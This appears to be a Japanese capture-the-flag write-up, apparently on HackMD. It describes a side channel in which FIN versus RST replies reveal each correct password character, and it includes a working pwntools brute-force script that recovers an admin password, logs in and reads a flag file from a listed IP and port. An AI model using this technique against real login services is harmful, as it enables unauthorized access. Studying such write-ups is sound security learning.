/proc/<PID>/wchanでrecvの待ち状態を確認できるらしい。
/proc/<PID>/net/tcpのIPアドレスや
/proc/<PID>/statusのtgidでプロセスを特定して待ちの状態を見ることで特定できる。
パスワードの1文字目が0
だとする。
このときsend(b"0\n")
とsend(b"1\n")
ではサーバからの応答が異なる。
前者では0
を正しく受け取り、\n
でプロセスが終了し、FIN
が返ってくる。
後者では1
の時点でプロセスが終了する。このときバッファに\n
を残したままのためRST
が返ってくる。(たぶん)
もちろん、2~f
でも同様なのでこのFIN
とRST
のフラグ情報からパスワードを特定する。
from pwn import *
# pwnlib/tubes/sock.py @39行目変更
# - raise EOFError
# + raise e
from tqdm import trange
import string
HOST = '34.170.146.252'
PORT = int(20031)
# HOST = 'localhost'
# PORT = int(10022)
# context.log_level = "debug"
admin_pass = "02872f5ae0819d2f"
for i in trange(16-len(admin_pass)):
for c in string.hexdigits:
conn = remote(HOST, PORT)
conn.sendlineafter(b": ", b"admin")
conn.recvuntil(b": ")
s_msg = admin_pass + c + "\n"
conn.send(s_msg.encode())
if "Logged in." in conn.recv(timeout=5).decode():
break
try:
conn.recv()
except ConnectionResetError as e:
pass
except EOFError as e:
break
admin_pass += c
print("password:",admin_pass)
conn = remote(HOST, PORT)
conn.sendlineafter(b": ", b"admin")
conn.recvuntil(b": ")
conn.sendline(admin_pass.encode())
conn.sendlineafter(b": ", b"./secret/flag.txt")
print(conn.recvall(timeout=5).decode())
Pwntoolsのrecv()
で直接RSTフラグをキャッチする方法が無さそうだったので
pwnlib/tubes/sock.py
を少しいじった。
# pip list |grep pwntools
pwntools 4.12.0
or
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up
Syntax | Example | Reference | |
---|---|---|---|
# Header | Header | 基本排版 | |
- Unordered List |
|
||
1. Ordered List |
|
||
- [ ] Todo List |
|
||
> Blockquote | Blockquote |
||
**Bold font** | Bold font | ||
*Italics font* | Italics font | ||
~~Strikethrough~~ | |||
19^th^ | 19th | ||
H~2~O | H2O | ||
++Inserted text++ | Inserted text | ||
==Marked text== | Marked text | ||
[link text](https:// "title") | Link | ||
 | Image | ||
`Code` | Code |
在筆記中貼入程式碼 | |
```javascript var i = 0; ``` |
|
||
:smile: | ![]() |
Emoji list | |
{%youtube youtube_id %} | Externals | ||
$L^aT_eX$ | LaTeX | ||
:::info This is a alert area. ::: |
This is a alert area. |
On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?
Please give us some advice and help us improve HackMD.
Syncing